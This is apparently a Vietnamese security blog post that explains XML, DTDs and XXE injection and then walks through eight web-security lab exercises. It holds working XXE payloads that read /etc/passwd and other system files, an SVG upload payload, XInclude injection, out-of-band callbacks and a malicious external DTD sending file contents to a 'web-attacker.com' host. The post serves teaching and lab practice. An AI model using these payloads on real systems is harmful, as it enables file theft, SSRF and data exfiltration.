Blog ๐Ÿ‘จโ€๐Ÿ’ป

๐Ÿ”XML external entity (XXE) injection

Khรกi niแป‡m, cรกc lแป— hแป•ng vร  bแบฃo vแป‡

Chรบng ta sแบฝ xem doc trฦฐแป›c khi bฦฐแป›c vร o thแปฑc hร nh lab.

  • XML lร  ngรดn ngแปฏ ฤ‘รกnh dแบฅu mแปŸ rแป™ng, nรณ ฤ‘ฦฐแปฃc sแปญ dแปฅng rแป™ng rรฃi, ฤ‘ฦฐแปฃc phรกt triแปƒn ฤ‘แปƒ lฦฐu truwxx vร  truyแปn dแปฏ liแป‡u. Hiแป‡n nay cรณ rแบฅt nhiแปu loแบกi tร i liแป‡u sแปญ dแปฅng ฤ‘แป‹nh dแบกng XML nhฦฐ rtf, pdf, tแป‡p hรฌnh แบฃnh (svg) hay cรกc file cแบฅu hรฌnh.

  • Cแบฅu trรบc XML lร  cรกc thร nh phแบงn cฦก bแบฃn cแปงa ngรดn ngแปฏ ฤ‘รกnh dแบฅu tร i liแป‡u XML (Extensible Markup Language). XML ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ mรด tแบฃ vร  trao ฤ‘แป•i dแปฏ liแป‡u giแปฏa cรกc แปฉng dแปฅng khรกc nhau. XML sแปญ dแปฅng cรกc thแบป ฤ‘แปƒ xรกc ฤ‘แป‹nh cแบฅu trรบc cแปงa tร i liแป‡u vร  nแป™i dung cแปงa nรณ.

Cรกc thร nh phแบงn cฦก bแบฃn cแปงa cแบฅu trรบc XML bao gแป“m:

  1. Khai bรกo XML: Khai bรกo XML lร  mแป™t chuแป—i ฤ‘แป‹nh dแบกng ฤ‘แปƒ chแป‰ ra rแบฑng tร i liแป‡u lร  mแป™t tร i liแป‡u XML. Khai bรกo XML phแบฃi ฤ‘ฦฐแปฃc ฤ‘แบทt แปŸ ฤ‘แบงu cแปงa tร i liแป‡u vร  cรณ ฤ‘แป‹nh dแบกng nhฦฐ sau:

<?xml version="1.0" encoding="UTF-8"?>

  1. Thแบป: Thแบป lร  cรกc khแป‘i xรขy dแปฑng chรญnh cแปงa tร i liแป‡u XML. Chรบng ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ xรกc ฤ‘แป‹nh nแป™i dung cแปงa tร i liแป‡u. Mแป™t thแบป bao gแป“m thแบป mแปŸ, thแบป ฤ‘รณng vร  nแป™i dung nแบฑm giแปฏa chรบng. Vรญ dแปฅ:

<book>
  <title>The Lord of the Rings</title>
  <author>J.R.R. Tolkien</author>
  <year>1954</year>
</book>

  1. Thuแป™c tรญnh: Thuแป™c tรญnh ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ cung cแบฅp thรดng tin bแป• sung vแป mแป™t phแบงn tแปญ. Chรบng cรณ thแปƒ ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ xรกc ฤ‘แป‹nh cรกc thuแป™c tรญnh cแปงa phแบงn tแปญ hoแบทc ฤ‘แปƒ truyแปn tแบฃi thรดng tin bแป• sung. Thuแป™c tรญnh cรณ thแปƒ ฤ‘ฦฐแปฃc xรกc ฤ‘แป‹nh trong thแบป mแปŸ cแปงa phแบงn tแปญ. Vรญ dแปฅ:

<book id="123">
  <title>The Hobbit</title>
  <author>J.R.R. Tolkien</author>
  <year>1937</year>
</book>

  1. Chรบ thรญch: Chรบ thรญch ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ thรชm thรดng tin giแบฃi thรญch cho tร i liแป‡u XML. Chรบ thรญch bแบฏt ฤ‘แบงu bแบฑng cแบทp kรฝ tแปฑ "<!--". Chรบ thรญch khรดng แบฃnh hฦฐแปŸng ฤ‘แบฟn nแป™i dung cแปงa tร i liแป‡u. Vรญ dแปฅ:

<!-- ฤรขy lร  mแป™t chรบ thรญch -->

  1. Khรดng gian tรชn: Khรดng gian tรชn ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ phรขn biแป‡t cรกc phแบงn tแปญ cรณ cรนng tรชn nhฦฐng thuแป™c cรกc khรดng gian tรชn khรกc nhau. Khรดng gian tรชn cรณ thแปƒ ฤ‘ฦฐแปฃc xรกc ฤ‘แป‹nh trong khai bรกo XML hoแบทc trong thแบป mแปŸ cแปงa phแบงn tแปญ. Vรญ dแปฅ:

<books xmlns:bk="http://example.com/books">
  <bk:book>
    <bk:title>The Fellowship of the Ring</bk:title>
    <bk:author>J.R.R. Tolkien</bk:author>
    <bk:year>1954</bk:year>
  </bk:book>
</books>

ฤรขy lร  cแบฅu trรบc cฦก bแบฃn cแปงa tร i liแป‡u XML, cho phรฉp xรกc ฤ‘แป‹nh nแป™i dung vร  cแบฅu trรบc cแปงa tร i liแป‡u, cลฉng nhฦฐ thรชm thรดng tin bแป• sung vแป dแปฏ liแป‡u mร  nรณ chแปฉa.

Tham chiแบฟu (References) thฦฐแปng cho phรฉp bแบกn thรชm hoแบทc bao phแบงn text hoแบทc phแบงn ฤ‘รกnh dแบฅu bแป• sung trong mแป™t tร i liแป‡u XML. Cรกc tham chiแบฟu luรดn luรดn bแบฏt ฤ‘แบงu vแป›i biแปƒu tฦฐแปฃng โ€œ&โ€ , ฤ‘รขy lร  kรฝ tแปฑ dร nh riรชng vร  kแบฟt thรบc vแป›i kรฝ tแปฑ โ€œ;โ€. XML cรณ hai kiแปƒu tham chiแบฟu:

Tham chiแบฟu thแปฑc thแปƒ (Entity Reference): Mแป™t tham chiแบฟu thแปฑc thแปƒ chแปฉa mแป™t tรชn giแปฏa dแบฅu tรกch mแปŸ vร  dแบฅu tรกch ฤ‘รณng. Vรญ dแปฅ: &amp; cรณ amp lร  tรชn. Tรชn tham chiแบฟu tแป›i mแป™t chuแป—i vฤƒn bแบฃn hoแบทc ฤ‘รกnh dแบฅu ฤ‘รฃ ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa trฦฐแป›c.

Tham chiแบฟu kรฝ tแปฑ (Character Reference): Chแปฉa cรกc tham chiแบฟu, vรญ dแปฅ &#65;, chแปฉa mแป™t dแบฅu bฤƒm (#) ฤ‘ฦฐแปฃc theo sau bแปŸi mแป™t sแป‘. Sแป‘ nร y luรดn luรดn tham chiแบฟu tแป›i mรฃ hรณa Unicode cแปงa kรฝ tแปฑ. Trong vรญ dแปฅ nร y, 65 tham chiแบฟu tแป›i chแปฏ cรกi โ€œAโ€.

  • XML Document Type Definition (DTD) lร  mแป™t tแบญp tin vฤƒn bแบฃn ฤ‘แป‹nh nghฤฉa cแบฅu trรบc, cรกc phแบงn tแปญ vร  thuแป™c tรญnh cแปงa mแป™t tร i liแป‡u XML. DTD ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ xรกc ฤ‘แป‹nh cรกch mร  cรกc phแบงn tแปญ vร  thuแป™c tรญnh phแบฃi ฤ‘ฦฐแปฃc sแปญ dแปฅng trong tร i liแป‡u XML, cลฉng nhฦฐ cรกc quy tแบฏc mร  phแบฃi tuรขn thแปง khi tแบกo tร i liแป‡u XML.

  • Vรญ dแปฅ, ฤ‘oแบกn mรฃ XML sau ฤ‘รขy sแปญ dแปฅng mแป™t DTD ฤ‘แปƒ ฤ‘แป‹nh nghฤฉa cแบฅu trรบc cแปงa mแป™t tร i liแป‡u XML ฤ‘ฦกn giแบฃn:

<!DOCTYPE mydocument [
  <!ELEMENT mydocument (title, author, content)>
  <!ELEMENT title (#PCDATA)>
  <!ELEMENT author (#PCDATA)>
  <!ELEMENT content (#PCDATA)>
]>
<mydocument>
  <title>This is the title</title>
  <author>John Doe</author>
  <content>This is the content</content>
</mydocument>

  • Trong vรญ dแปฅ nร y, DTD ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa bรชn trong khai bรกo DOCTYPE. Nรณ ฤ‘แป‹nh nghฤฉa rแบฑng tร i liแป‡u XML phแบฃi chแปฉa ba phแบงn tแปญ: "title", "author" vร  "content", theo thแปฉ tแปฑ nhฦฐ vแบญy. Mแป—i phแบงn tแปญ nร y chแป‰ cรณ thแปƒ chแปฉa dแปฏ liแป‡u vฤƒn bแบฃn, ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa bแบฑng cรกch sแปญ dแปฅng kรฝ tแปฑ ฤ‘แบกi diแป‡n #PCDATA.

ฤแปƒ xแปญ lรฝ ฤ‘ฦฐแปฃc file xml, mแปi แปฉng dแปฅng ฤ‘แปu cแบงn phแบฃi cรณ mแป™t XML parser (cรฒn ฤ‘ฦฐแปฃc gแปi lร  XML processor) ฤ‘แปƒ xแปญ lรฝ file xml vร  ฤ‘ฦฐa ra output. Khi chรบng ta khai bรกo mแป™t entity, parser sแบฝ tแปฑ ฤ‘แป™ng thay thแบฟ giรก trแป‹ cแปงa entity vร o nฦกi entity ฤ‘ฦฐแปฃc khi bรกo.

Request:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY bar SYSTEM "file:///c:/boot.ini" >]>
<foo>&bar;</foo>

Response:

[boot loader]
timeout=5
default=multi(0)disk(0)rdisk(1)partition(1)\WINDOWS
[operating systems]

Chรบng ta cรณ thแปƒ thแบฅy trong phแบงn DOCTYPE declaration, ngoร i khai bรกo nhแปฏng elements , nรณ khai bรกo thรชm mแป™t URI (trong XML thรฌ URI ฤ‘ฦฐแปฃc hiแปƒu lร  mแป™t system identifier) trแป ฤ‘แบฟn file c:/boot.ini. External entity ฤ‘ฦฐแปฃc ฤ‘แบทt tรชn bar vร  ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh trแบฃ vแป thรดng qua <foo>&bar;</foo>

Vแป›i XXE attack, tรดi sแบฝ cรณ thแปƒ gแบทp cรกc dแบกng phแป• biแบฟn sau:

  • Khai thรกc XXE ฤ‘แปƒ trรญch xuแบฅt file: ฤแป‹nh nghฤฉa external entity chแปฉa nแป™i dung cแปงa 1 file vร  trแบฃ vแป trong response;

  • Khai thรกc XXE ฤ‘แปƒ thแปฑc thi SSRF attacks: ฤแป‹nh nghฤฉa external entity dแปฑa vร o URL ฤ‘แบฟn back-end system;

  • Khai thรกc blind XXE ฤ‘แปƒ hแป‘t dแปฏ liแป‡u theo kiแปƒu out-of-band: Truyแปn tแบฃi dแปฏ liแป‡u nhแบกy cแบฃm tแปซ server ฤ‘แบฟn hแป‡ thแป‘ng mร  attacker cรณ thแปƒ kiแปƒm soรกt;

  • Khai thรกc blind XXE ฤ‘แปƒ trรญch xuแบฅt dแปฏ liแป‡u thรดng qua thรดng bรกo lแป—i: Lร m phรกt sinh parsing error message chแปฉa thรดng tin nhแบกy cแบฃm.

Hแบงu nhฦฐ tแบฅt cแบฃ cรกc lแป— hแป•ng XXE phรกt sinh do thฦฐ viแป‡n phรขn tรญch cรบ phรกp XML cแปงa แปฉng dแปฅng hแป— trแปฃ cรกc tรญnh nฤƒng XML nguy hiแปƒm tiแปm แบฉn mร  แปฉng dแปฅng khรดng cแบงn hoแบทc khรดng cรณ รฝ ฤ‘แป‹nh sแปญ dแปฅng. Cรกch dแป… nhแบฅt vร  hiแป‡u quแบฃ nhแบฅt ฤ‘แปƒ ngฤƒn chแบทn cรกc cuแป™c tแบฅn cรดng cแปงa XXE lร  tแบฏt cรกc tรญnh nฤƒng ฤ‘รณ. Nรณi chung, chแป‰ cแบงn vรด hiแป‡u hรณa ฤ‘แป™ phรขn giแบฃi cแปงa cรกc thแปฑc thแปƒ bรชn ngoร i vร  vรด hiแป‡u hรณa hแป— trแปฃ cho XInclude lร  ฤ‘แปง. ฤiแปu nร y thฦฐแปng cรณ thแปƒ ฤ‘ฦฐแปฃc thแปฑc hiแป‡n thรดng qua cรกc tรนy chแปn cแบฅu hรฌnh hoแบทc bแบฑng cรกch ghi ฤ‘รจ hร nh vi mแบทc ฤ‘แป‹nh theo chฦฐฦกng trรฌnh. Tham khแบฃo tร i liแป‡u vแป thฦฐ viแป‡n phรขn tรญch cรบ phรกp XML hoแบทc API cแปงa bแบกn ฤ‘แปƒ biแบฟt chi tiแบฟt vแป cรกch tแบฏt cรกc chแปฉc nฤƒng khรดng cแบงn thiแบฟt.

Lab

Lab 1: Exploiting XXE using external entities to retrieve files

Chรบng ta ฤ‘แปƒ khi รฝ khi truy cแบญp trang web cรณ mแป™t nรบt check xem sแป‘ lฦฐแปฃng sแบฃn phแบฉm cรฒn lแบกi lร  bao nhiรชu.

Dรนng burp suite ฤ‘แปƒ check thรฌ chรบng ta sแบฝ cรณ req vร  res nhฦฐ trรชn. Vร  chรบng ta tแปฑ ฤ‘แบทt ra giแบฃi thuyแบฟt rแบฑng nแบฟu thรชm mแป™t external entity vร o giแปฏa XML declaration vร  stock element.

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Sau ฤ‘รณ thay 1 thร nh &xxe, kiแปƒu nhฦฐ nร y:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe</productId>
<storeId>1</storeId>
</stockCheck>

Solve:

Lab2: Exploiting XXE to perform SSRF attacks

Nhฦฐ tiรชu ฤ‘แป แปŸ ฤ‘รขy chรบng ta cแบงn phแบฃi khai thรกc lแป— hแป•ng XXE thรดng qua SSRF, nแบฟu chฦฐa biแบฟt tแป›i ssrf thรฌ cรณ thแปƒ xem แปŸ bร i gแบงn nhแบฅt trong mแปฅc server-side.

Chรบng ta sแบฝ vแบซn dรนng burp suite ฤ‘แปƒ bแบฏt cรกc request:

Mแป—i lแบงn req thรฌ mแป—i nรณ sแบฝ bรกo lแป—i kรจm theo endpoint mร  chรบng ta cแบงn. Cho tแป›i khi lแบฅy ฤ‘ฦฐแปฃc full dแปฏ liแป‡u tแบกi endpoint cuแป‘i.

Lab3: Exploiting XInclude to retrieve files

XInclude lร  mแป™t tiรชu chuแบฉn cแปงa W3C ฤ‘ฦฐแปฃc sแปญ dแปฅng trong tร i liแป‡u XML ฤ‘แปƒ tham chiแบฟu ฤ‘แบฟn cรกc phแบงn khรกc cแปงa tร i liแป‡u hoแบทc cรกc tร i liแป‡u khรกc vร  chรจn chรบng vร o tร i liแป‡u hiแป‡n tแบกi. XInclude cho phรฉp tรกch tร i liแป‡u thร nh cรกc phแบงn nhแป hฦกn ฤ‘แปƒ quแบฃn lรฝ vร  tรกi sแปญ dแปฅng nรณ trong cรกc tร i liแป‡u khรกc.

XInclude ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa bแบฑng cรกc phแบงn tแปญ vร  thuแป™c tรญnh mแป›i, bao gแป“m:

  • <xi:include> phแบงn tแปญ: ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ tham chiแบฟu ฤ‘แบฟn tร i liแป‡u hoแบทc phแบงn cแปงa tร i liแป‡u khรกc vร  chรจn chรบng vร o tร i liแป‡u hiแป‡n tแบกi. Nรณ cรณ thแปƒ cรณ mแป™t sแป‘ thuแป™c tรญnh, bao gแป“m "href" ฤ‘แปƒ chแป‰ ฤ‘แป‹nh ฤ‘ฦฐแปng dแบซn ฤ‘แบฟn tร i liแป‡u ฤ‘ฦฐแปฃc chรจn, "parse" ฤ‘แปƒ chแป‰ ฤ‘แป‹nh cรกch tร i liแป‡u ฤ‘ฦฐแปฃc phรขn tรญch, vร  "xpointer" ฤ‘แปƒ chแป‰ ฤ‘แป‹nh phแบงn cแปงa tร i liแป‡u ฤ‘ฦฐแปฃc chรจn.

  • <xi:fallback> phแบงn tแปญ: ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ ฤ‘แป‹nh nghฤฉa mแป™t phแบงn tแปญ dแปฑ phรฒng nแบฟu tร i liแป‡u khรดng hแป— trแปฃ XInclude.

Vรญ dแปฅ, ฤ‘oแบกn mรฃ sau ฤ‘รขy minh hแปa cรกch sแปญ dแปฅng XInclude ฤ‘แปƒ chรจn mแป™t tร i liแป‡u XML vร o tร i liแป‡u hiแป‡n tแบกi:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ELEMENT root (content)>
  <!ELEMENT content (#PCDATA)>
]>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="xml"/>
</root>

Trong ฤ‘รณ, phแบงn tแปญ <xi:include> ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ chรจn tร i liแป‡u XML ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh trong thuแป™c tรญnh "href" vร o tร i liแป‡u hiแป‡n tแบกi. Thuแป™c tรญnh "parse" ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ chแป‰ ฤ‘แป‹nh rแบฑng tร i liแป‡u ฤ‘ฦฐแปฃc chรจn cลฉng lร  mแป™t tร i liแป‡u XML.

Vแป›i lab tiแบฟp theo chรบng ta thแบฅy ฤ‘ฦฐแปฃc lรบc nร y แปŸ req truyแปn ฤ‘i dแปฏ liแป‡u vแป›i tham sแป‘ chแปฉ khรดng phแบฃi xml. Tแปฑ hแปi rแบฑng cรณ thแปƒ chรจn ฤ‘ฦฐแปฃc ฤ‘oแบกn nร y vร o productId khรดng?

  <root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

ฤoแบกn mรฃ XML trรชn chแปฉa mแป™t phแบงn tแปญ XInclude tham chiแบฟu ฤ‘แบฟn mแป™t tร i nguyรชn bรชn ngoร i bแบฑng cรกch sแปญ dแปฅng mแป™t ฤ‘แป‹a chแป‰ file URI. Cแปฅ thแปƒ, phแบงn tแปญ "xi:include" xรกc ฤ‘แป‹nh rแบฑng nรณ muแป‘n bao gแป“m nแป™i dung cแปงa mแป™t tแป‡p tin nแบฑm tแบกi "/etc/passwd" trรชn hแป‡ thแป‘ng tแป‡p tin cแปฅc bแป™. Thuแป™c tรญnh "parse" ฤ‘ฦฐแปฃc ฤ‘แบทt thร nh "text", cho biแบฟt rแบฑng tแป‡p ฤ‘ฦฐแปฃc bao gแป“m sแบฝ ฤ‘ฦฐแปฃc xแปญ lรฝ nhฦฐ vฤƒn bแบฃn thuแบงn tรบy chแปฉ khรดng phแบฃi lร  mแป™t tร i liแป‡u XML.

Lab4: Exploiting XXE via image file upload

Mแป—i mแปฅc cแปงa bร i nร y ฤ‘แปu cรณ ฤ‘แปƒ lแบกi cmt kรจm theo tแบฃi mแป™t file avatar, chรบng ta sแบฝ khai thรกc lแป— hแป•ng XXE qua upload

Trฦฐแป›c hแบฟt chรบng ta cแบงn tแบฃi mแป™t file แบฃnh ฤ‘แป‹nh dแบกng svg vแป ฤ‘แปƒ up lรชn.

Sau khi upload sแบฝ nhฦฐ nร y, sau ฤ‘รณ vร o burp suite vร  chuyแปƒn sang chแบฟ ฤ‘แป™ repeater vร  chแป‰ sแปญa ฤ‘oแบกn svg thร nh nhฦฐ nร y: 

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Lab5: Blind XXE with out-of-band interaction

Bร i nร y cลฉng giแป‘ng cรกc bร i khรกc nhฦฐng nhฦฐ tiรชu ฤ‘แป thรฌ chรบng ta khรดng nhแบญn ฤ‘ฦฐแปฃc kแบฟt quแบฃ. Vร  vแบฅn ฤ‘แป แปŸ ฤ‘รขy thแปญ xem nรณ cรณ tฦฐฦกng tรกc vแป›i mแป™t domain bรชn ngoร i khรดng?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "https://IP-request.com" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab6: Blind XXE with out-of-band interaction via XML parameter entities

Tiแบฟp theo chรบng ta sแบฝ khai thรกc XXE thรดng qua XML parameter entities. Nแบฟu chฦฐa hiแปƒu nรณ lร  gรฌ thรฌ ฤ‘แบกi khรกi:

XML parameter entities lร  mแป™t loแบกi thแปฑc thแปƒ trong XML ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ ฤ‘แป‹nh nghฤฉa cรกc tham sแป‘ cรณ thแปƒ ฤ‘ฦฐแปฃc sแปญ dแปฅng trong nแป™i dung cแปงa tร i liแป‡u XML.

Mแป™t parameter entity ฤ‘ฦฐแปฃc khai bรกo bแบฑng cรกch sแปญ dแปฅng cแบทp kรฝ tแปฑ % vร  ;. ฤแปƒ sแปญ dแปฅng mแป™t parameter entity, bแบกn cแบงn ฤ‘แบทt tรชn cแปงa nรณ giแปฏa cแบทp dแบฅu & vร  ;.

Vรญ dแปฅ, ta cรณ thแปƒ ฤ‘แป‹nh nghฤฉa mแป™t parameter entity companyname nhฦฐ sau:

<!ENTITY % companyname "ACME Corporation">

Sau ฤ‘รณ, ta cรณ thแปƒ sแปญ dแปฅng parameter entity nร y trong nแป™i dung cแปงa tร i liแป‡u XML nhฦฐ sau:

%companyname;

Vแป›i lab nร y thรฌ cรกch khai thรกc XXE vแป›i entity thรดng thฦฐแปng thรฌ khรดng thแปƒ vแบญy sแปญ dแปฅng parameter entity.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY %xxe SYSTEM "https://233aw8lpr0hryx6ksnuhpov2ptvjj8.oastify.com";> %xxe ]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Lab7: Exploiting blind XXE to exfiltrate data using a malicious external DTD

แปž hai lab trรชn Blind XXE thรฌ nรณ hฦกi nแปญa nแบกc nแปญa mแปก chฦฐa khai thรกc lแบฅy dแปฏ liแป‡u ฤ‘ฦฐแปฃc gรฌ, thรฌ trong lab nร y chรบng ta sแบฝ leak data mรกy chแปง ra vร  gแปญi vแป server cแปงa chรบng ta bแบฑng cรกch tแบกo mแป™t file DTD.

Tแบญn dแปฅng lแป— hแป•ng XXE mรน ฤ‘แปƒ lแบฅy dแปฏ liแป‡u ra khแปi hแป‡ thแป‘ng thรดng qua kแปน thuแบญt out-of-band Phรกt hiแป‡n mแป™t lแป— hแป•ng XXE mรน thรดng qua kแปน thuแบญt out-of-band lร  ฤ‘iแปu quan trแปng, nhฦฐng nรณ chฦฐa thแปฑc sแปฑ cho thแบฅy cรกch lแป— hแป•ng cรณ thแปƒ bแป‹ khai thรกc. ฤiแปu mร  kแบป tแบฅn cรดng thแปฑc sแปฑ muแป‘n ฤ‘แบกt ฤ‘ฦฐแปฃc lร  lแบฅy ra dแปฏ liแป‡u nhแบกy cแบฃm. ฤiแปu nร y cรณ thแปƒ ฤ‘ฦฐแปฃc thแปฑc hiแป‡n thรดng qua mแป™t lแป— hแป•ng XXE mรน, nhฦฐng nรณ ฤ‘รฒi hแปi kแบป tแบฅn cรดng phแบฃi lฦฐu trแปฏ DTD ฤ‘แป™c hแบกi trรชn mแป™t hแป‡ thแป‘ng mร  hแป kiแปƒm soรกt, sau ฤ‘รณ triแป‡u gแปi DTD ngoแบกi vi tแปซ XXE payload in-band.

Mแป™t vรญ dแปฅ vแป DTD ฤ‘แป™c hแบกi ฤ‘แปƒ lแบฅy nแป™i dung cแปงa file /etc/passwd nhฦฐ sau:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

DTD nร y thแปฑc hiแป‡n cรกc bฦฐแป›c sau:

  1. ฤแป‹nh nghฤฉa mแป™t thแปฑc thแปƒ tham sแป‘ XML cรณ tรชn lร  file, chแปฉa nแป™i dung cแปงa file /etc/passwd.

  2. ฤแป‹nh nghฤฉa mแป™t thแปฑc thแปƒ tham sแป‘ XML cรณ tรชn lร  eval, chแปฉa mแป™t khai bรกo ฤ‘แป™ng cแปงa thแปฑc thแปƒ tham sแป‘ XML khรกc cรณ tรชn exfiltrate. Thแปฑc thแปƒ exfiltrate sแบฝ ฤ‘ฦฐแปฃc ฤ‘รกnh giรก bแบฑng cรกch thแปฑc hiแป‡n mแป™t yรชu cแบงu HTTP ฤ‘แบฟn mรกy chแปง web cแปงa kแบป tแบฅn cรดng chแปฉa giรก trแป‹ cแปงa thแปฑc thแปƒ file trong chuแป—i truy vแบฅn URL.

  3. Sแปญ dแปฅng thแปฑc thแปƒ eval, ฤ‘iแปu nร y khiแบฟn cho khai bรกo ฤ‘แป™ng cแปงa thแปฑc thแปƒ exfiltrate ฤ‘ฦฐแปฃc thแปฑc hiแป‡n.

  4. Sแปญ dแปฅng thแปฑc thแปƒ exfiltrate, ฤ‘แปƒ giรก trแป‹ cแปงa nรณ ฤ‘ฦฐแปฃc ฤ‘รกnh giรก bแบฑng cรกch yรชu cแบงu URL ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh.

Kแบป tแบฅn cรดng phแบฃi lฦฐu trแปฏ DTD ฤ‘แป™c hแบกi trรชn mแป™t hแป‡ thแป‘ng mร  hแป kiแปƒm soรกt, thฦฐแปng lร  tแบฃi nรณ lรชn mรกy chแปง web cแปงa mรฌnh. Vรญ dแปฅ, kแบป tแบฅn cรดng cรณ thแปƒ phแปฅc vแปฅ DTD ฤ‘แป™c hแบกi tแบกi URL sau:

http://web-attacker.com/malicious.dtd

Cuแป‘i cรนng, kแบป tแบฅn cรดng phแบฃi gแปญi XXE payload sau ฤ‘แบฟn แปฉng dแปฅng dแป… bแป‹ tแบฅn cรดng:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

Payload XXE nร y khai bรกo mแป™t thแปฑc thแปƒ tham sแป‘ XML cรณ tรชn xxe vร  sau ฤ‘รณ sแปญ dแปฅng thแปฑc thแปƒ trong DTD. ฤiแปu nร y sแบฝ khiแบฟn trรฌnh phรขn tรญch XML tรฌm nแบกp DTD ngoแบกi vi tแปซ mรกy chแปง cแปงa kแบป tแบฅn cรดng vร  diแป…n giแบฃi nรณ ngay lแบญp tแปฉc. Cรกc bฦฐแป›c ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa trong DTD ฤ‘แป™c hแบกi sau ฤ‘รณ ฤ‘ฦฐแปฃc thแปฑc hiแป‡n, vร  file /etc/passwd ฤ‘ฦฐแปฃc truyแปn ฤ‘แบฟn mรกy chแปง cแปงa kแบป tแบฅn cรดng.

Lฦฐu รฝ Kแปน thuแบญt nร y cรณ thแปƒ khรดng hoแบกt ฤ‘แป™ng vแป›i mแป™t sแป‘ nแป™i dung file, bao gแป“m cรกc kรฝ tแปฑ xuแป‘ng dรฒng trong file /etc/passwd. ฤiแปu nร y lร  do mแป™t sแป‘ trรฌnh phรขn tรญch XML tรฌm nแบกp URL trong ฤ‘แป‹nh nghฤฉa thแปฑc thแปƒ ngoแบกi vi bแบฑng API kiแปƒm tra cรกc kรฝtแปฑ ฤ‘ฦฐแปฃc phรฉp xuแบฅt hiแป‡n trong URL. Trong tรฌnh huแป‘ng nร y, cรณ thแปƒ sแปญ dแปฅng giao thแปฉc FTP thay vรฌ HTTP. ฤรดi khi, sแบฝ khรดng thแปƒ lแบฅy dแปฏ liแป‡u chแปฉa cรกc kรฝ tแปฑ xuแป‘ng dรฒng, vร  do ฤ‘รณ mแป™t file nhฦฐ /etc/hostname cรณ thแปƒ ฤ‘ฦฐแปฃc mแปฅc tiรชu hฦฐแป›ng tแป›i thay thแบฟ.

Bรขy giแป nhฦฐ mรฌnh giแบฃi thรญch แปŸ trรชn sแบฝ tแบกo mแป™t DTD vแป›i nแป™i dung file nhฦฐ trรชn.

Sau ฤ‘รณ gแปญi lแบกi payload nhฦฐ cลฉ kรจm endpoint exploit.dtd ฤ‘แปƒ exploit server.

<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://exploit-0aae00ff04a03ad7817a667a01200057.exploit-server.net/exploit.dtd" > %xxe;]>

Lab8: Exploiting blind XXE to retrieve data via error messages

Mแป™t cรกch tiแบฟp cแบญn khรกc ฤ‘แปƒ khai thรกc XXE mรน lร  kรญch hoแบกt mแป™t lแป—i phรขn tรญch XML trong ฤ‘รณ thรดng bรกo lแป—i chแปฉa dแปฏ liแป‡u nhแบกy cแบฃm mร  bแบกn muแป‘n lแบฅy. ฤiแปu nร y sแบฝ hiแป‡u quแบฃ nแบฟu แปฉng dแปฅng trแบฃ vแป thรดng bรกo lแป—i kแบฟt quแบฃ trong phแบฃn hแป“i cแปงa nรณ.

Bแบกn cรณ thแปƒ kรญch hoแบกt thรดng bรกo lแป—i phรขn tรญch XML chแปฉa nแป™i dung cแปงa tแป‡p /etc/passwd bแบฑng cรกch sแปญ dแปฅng mแป™t DTD bรชn ngoร i ฤ‘แป™c hแบกi nhฦฐ sau:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

DTD nร y thแปฑc hiแป‡n cรกc bฦฐแป›c sau:

  • Xรกc ฤ‘แป‹nh XML parameter entity ฤ‘ฦฐแปฃc gแปi lร  file, chแปฉa nแป™i dung cแปงa tแป‡p /etc/passwd.

